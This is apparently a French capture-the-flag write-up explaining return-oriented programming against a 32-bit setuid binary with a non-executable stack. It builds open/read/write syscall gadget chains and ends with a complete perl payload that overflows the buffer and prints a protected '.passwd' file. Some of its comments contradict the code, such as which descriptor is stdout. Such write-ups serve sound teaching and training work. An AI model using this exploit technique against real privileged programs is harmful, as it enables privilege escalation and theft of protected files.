ROP
Introduction
Lors d'un challenge informatique, je me trouve dans la situation où, après deux buffer overflow, le premier conduisant à la possibilité d'exploiter le deuxième, je n'ai ni la possibilité de faire un shellcode car la stack est NX, ni la possibilité de faire un return to libc, le binaire n'étant pas compilé en librairie partagée. Il ne me reste alors plus que la solution du ROP.Objectif
Mon but est de lire le contenu d'un fichier nommé ".passwd". En tant qu'utilisateur je (piferrari) n'ai pas les droits de lecture sur ce fichier mais le binaire exploitable est configuré pour pouvoir lire ce fichier via le SETUID. Quelque chose comme ça:
drwxr-xr-x 2 piferrari piferrari 4096 sep 7 15:13 .
drwxr-xr-x 5 root root 4096 sep 7 15:09 ..
-r-sr-xr-x 1 pwned pwned 594128 sep 7 15:04 bin
-r--r----- 1 pwned pwned 9 sep 7 15:01 .passwd
En code C, je vais demander au binaire de réaliser ceci:
fd = open(".passwd", O_RDONLY);
read(fd, *data, sizeof(.passwd));
write(stdout, *data, sizeof(.passwd));
Tous les appels se feront via l'interruption 0x80. On parle de system call.
Open
L'appel de la fonction sys_open se fait en plaçant dans le registre EAX la valeur 5. EBX contient le pointeur sur la chaîne de caractères du nom du fichier et ECX prendra la valeur du mode d'accès souhaité, dans mon cas O_RDONLY. La valeur de O_RDONLY peut se trouver dans les fichiers d'en-têtes
$ grep -R 'O_RDONLY' /usr/include/*
/usr/include/asm-generic/fcntl.h:#define O_RDONLY 00000000
En résumé:
EAX = 5
EBX = *pathname
ECX = 0
La valeur de retour, à savoir le descripteur de fichier se trouvera dans EAX
Read
Pour la lecture sys_read, il faut placer la valeur 3 dans EAX. Le descripteur de fichier devra transiter de EAX à EBX, ECX contiendra l'adresse de l'espace mémoire où les données seront écrites et pour finir, EDX contiendra le nombre d'octets à lire, c'est-à-dire, la taille du fichier .passwd. ATTENTION à l'ordre des opérations. Actuellement, EAX contient le descripteur de fichier, il faut donc le faire passer dans EBX AVANT d'écraser sa valeur.
En résumé:
EBX = EAX
EAX = 3
ECX = *.data
EDX = sizeof(.passwd)
Write
Au final, je souhaite voir le contenu du fichier .passwd, je choisis donc l'appel de la fonction write avec comme descripteur de fichier 0 (stdout). Pour cela, il faudra mettre EAX à 4, le descripteur de fichier stdout, soit 0, dans EBX, ECX pointera sur les données à afficher, autrement dit, sur le ECX de l'appel précédent et EDX ne change pas de valeur.
En résumé:
EAX = 4
EBX = 0
ECX = *.data
EDX = sizeof(.passwd)
Rappel du fonctionnement normal de la pile (Stack)
C'est notre point de départ.
Dans cette fonction, on commence par sauvegarder la valeur de EBP dans la pile. On pourra ainsi la retrouver à la fin de la fonction. On copie la valeur de ESP dans EBP ainsi EBP pointe sur la nouvelle valeur haute de la pile. On soustrait ensuite une valeur à ESP. Cette valeur correspond à la taille nécessaire pour les variables locales à la fonction. ESP se trouve donc maintenant à « ESP fonction » et EBP se trouve à « EBP fonction ».
ESP pointe maintenant sur l'adresse de retour alors que EBP se trouve à sa valeur d'origine « EBP Base ».
En résumé pour ret
EIP = *ESP
ESP--
ROP
L'idée du ROP c'est de trouver des "gadgets" permettant l'exécution d'une ou plusieurs instructions. Le gadget doit se terminer par un "ret". Ainsi, si je place sur ma pile, dont je suis maître du contenu grâce à mon second buffer overflow, un gadget tel que
xor eax, eax ;
ret ;
J'aurai réussi à remettre mon registre EAX à zéro.
Les gadgets
Pour reprendre une analogie, un gadget c'est comme si je ne prends que la fin d'un mot et que cette fin à un sens. Prenons par exemple le mot "following" qui signifie suivre, si je ne prends que la fin du mot "wing" j'obtiens un nouveau sens, "aile". Dans la même idée, si dans une suite d'instructions je ne prends que la fin, j'obtiens un nouveau but à cette suite d'instructions.
Exemple
Dans ce programme binaire, j'ai cette suite d'instructions dont je ne connais absolument pas le but
...
80a8c9e: 66 90 xchg ax,ax
80a8ca0: 74 26 je 80a8cc8
80a8ca2: 3c 50 cmp al,0x50
80a8ca4: 74 0e je 80a8cb4
80a8ca6: e8 35 dc fa ff call 80568e0
80a8cab: 90 nop
80a8cac: 8d 74 26 00 lea esi,[esi+eiz*1+0x0]
80a8cb0: 84 c0 test al,al
80a8cb2: 75 24 jne 80a8cd8
80a8cb4: 83 c4 08 add esp,0x8
80a8cb7: 31 c0 xor eax,eax
80a8cb9: 5b pop ebx
80a8cba: c3 ret
80a8cbb: 90 nop
Si je ne conserve que les instructions depuis l'adresse 0x80a8cb7, j'ai un gadget qui remet à zéro EAX, qui place une valeur de mon choix dans EBX et qui fait un return.
Fonctionnement des gadgets (chaîne)
EIP = *ESP = 0x80a8cb7
ESP--
Je me trouve donc dirigé dans la gadget 1. Dans ce gadget, on trouve un xor eax qui remet la valeur du registre à zéro et un pop ebx qui met dans EBX le contenu pointé par ESP et qui décrémente ESP. J'ai ensuite une instruction ret.
En résumé
EIP = 0x80a8cb7 # ret normale de la fonction avec la nouvelle adresse du buffer overflow -> va dans le gadget
ESP pointe 1 adresse en dessus
EAX = 0 # xor \
EBX = 0xdeedbeef # pop¹ \
ESP-- # pop² -> gadget
EIP = *ESP = @ gadget 2 # ret¹ /
ESP-- # ret² /
EIP pointe sur la prochaine valeur de mon choix, c'est-à-dire, mon prochain gadget
And so on...
Utils
Il ne reste plus qu'à trouver la suite de gadgets permettant de réaliser les appels de fonctions souhaités. On peut bien sûr y aller à coup d'objdump et de grep mais il existe des outils spécialisés pour réaliser cette tâche. Parmi les outils, Ropgadget était installé sur la machine distante, je n'ai donc pas investigué plus le sujet.
Si je souhaite trouver un gadget permettant de réaliser une interruption 0x80 (syscall) il suffit de partir à la 🎣
$ ROPgadget --binary bin.elf | grep "int 0x80"
# ... beaucoup de résultats
0x0807196e : mov word ptr [eax], es ; add byte ptr [eax], al ; int 0x80
0x08051d6f : nop ; int 0x80
0x080708ff : nop ; mov eax, 0x9e ; int 0x80
0x08083f9f : nop ; mov eax, 0xad ; int 0x80
0x08051d6e : nop ; nop ; int 0x80
# ... beaucoup de résultats
Pour ce gadget, on a le choix 🎉
Encore deux précisions. ATTENTION, les valeurs doivent être écrites en little-endian et .data correspond au segment dans le binaire qui se trouve être en RW. L'utilitaire readelf permet de trouver l'adresse
$ readelf -a /media/piferrari/a111aa34-5bbe-4005-b26d-d8b35ade24f8/home/level13/bin | grep \.data
[ ... removed ... ]
[20] .data PROGBITS 080c9080 081080 000740 00 WA 0 0 32
C'est parti
Les gadgets
0x08051646 : pop edx ; ret # permet de placer une valeur dans EDX
0x080a7d36 : pop eax ; ret # permet de placer une valeur dans EAX
0x080790c1 : mov dword ptr [edx], eax ; ret # écrit le contenu de eax à l'endroit pointé par EDX
0x0805166d : pop ecx ; pop ebx ; ret # permet d'écrire d'un coup ECX et EBX
0x08051d6f : nop ; int 0x80 # int 80
0x08071c39 : xchg eax, ebx ; ret # échange les valeurs eax et ebx
sys_open
Le premier appel system c'est open. Comme on l'a vu plus haut, il faut
EAX = 5
EBX = *pathname
ECX = 0
"\x46\x16\x05\x08" . "\x80\x90\x0C\x08" . # Charge @ .data dans edx
"\x36\x7d\x0a\x08" . ".pas" .
"\xc1\x90\x07\x08" .
"\x46\x16\x05\x08" . "\x84\x90\x0C\x08" .
"\x36\x7d\x0a\x08" . "swd" . "\x00" .
"\xc1\x90\x07\x08" . # .data contient .passwd\0
"\x6d\x16\x05\x08" . "\x00\x00\x00\x00" . "\x80\x90\x0C\x08" # ebx = *.data ecx=0=O_RDONLY
"\x46\x16\x05\x08" . "\x00\x00\x00\x00" # edx=0=O_RDONLY
"\xdf\x75\x09\x08" . # remet eax à zéro
"\x71\x3c\x08\x08" . "\x71\x3c\x08\x08" . # incrémente en boucle (pour le fun)
"\x71\x3c\x08\x08" . "\x71\x3c\x08\x08" . # jusqu''à 5 (on aurait aussi pu faire pop eax)
"\x71\x3c\x08\x08" . # eax = 5
"\x6f\x1d\x05\x08" . # int 80
Le descripteur de fichier se trouve maintenant dans EAX, registre généralement utilisé pour la valeur de retour d'une fonction.
sys_read
Pour cet appel, il faut
EBX = EAX
EAX = 3
ECX = *.data
EDX = sizeof(.passwd)
"\x6d\x16\x05\x08" . "\x80\x90\x0C\x08" . "\x03\x00\x00\x00" # ECX=*.data EBX=3
"\x39\x1c\x07\x08" . # ebx contient fd (vient de eax) et eax contient 3 pour int 80 (vient de ebx)
"\x46\x16\x05\x08" . "\x46\x00\x00\x00" . # edx contient 46 (size_t count)
"\x6f\x1d\x05\x08" . # int 80
sys_write
Pour cet appel, il faut:
EAX = 4
EBX = 0
ECX = *.data
EDX = sizeof(.passwd)
"\x6d\x16\x05\x08" . "\x80\x90\x0C\x08" . "\x01\x00\x00\x00" . # ecx = *.data ebx=1
"\x46\x16\x05\x08" . "\x46\x00\x00\x00" . # edx=46
"\xdf\x75\x09\x08" .
"\x71\x3c\x08\x08" . "\x71\x3c\x08\x08" .
"\x71\x3c\x08\x08" . "\x71\x3c\x08\x08" . # eax=4
"\x6f\x1d\x05\x08" # int 80
Le code final
Si vous êtes attentif, vous avez remarquez des '.' entre les valeurs, ça vient du perl...
perl -e 'print "\x90"x5906 .
"\x46\x16\x05\x08" . "\x80\x90\x0C\x08" .
"\x36\x7d\x0a\x08" . ".pas" .
"\xc1\x90\x07\x08" .
"\x46\x16\x05\x08" . "\x84\x90\x0C\x08" .
"\x36\x7d\x0a\x08" . "swd" . "\x00" .
"\xc1\x90\x07\x08" .
"\x6d\x16\x05\x08" . "\x00\x00\x00\x00" . "\x80\x90\x0C\x08" .
"\x46\x16\x05\x08" . "\x00\x00\x00\x00" .
"\xdf\x75\x09\x08" .
"\x71\x3c\x08\x08" . "\x71\x3c\x08\x08" .
"\x71\x3c\x08\x08" . "\x71\x3c\x08\x08" .
"\x71\x3c\x08\x08" .
"\x6f\x1d\x05\x08" .
"\x6d\x16\x05\x08" . "\x80\x90\x0C\x08" . "\x03\x00\x00\x00" .
"\x39\x1c\x07\x08" .
"\x46\x16\x05\x08" . "\x46\x00\x00\x00" .
"\x6f\x1d\x05\x08" .
"\x6d\x16\x05\x08" . "\x80\x90\x0C\x08" . "\x01\x00\x00\x00" .
"\x46\x16\x05\x08" . "\x46\x00\x00\x00" .
"\xdf\x75\x09\x08" .
"\x71\x3c\x08\x08" . "\x71\x3c\x08\x08" .
"\x71\x3c\x08\x08" . "\x71\x3c\x08\x08" .
"\x6f\x1d\x05\x08"'
Les 5906 caractères \x90 (NOP) sont le buffer overflow, la première valeur qui suit correspond au premier gadget et les autres s’enchaînent.
Et là, BINGO, le binaire affiche dans la console le contenu du fichier ".passwd" 😎.
That's all folks
Tags: challenge hacking assembler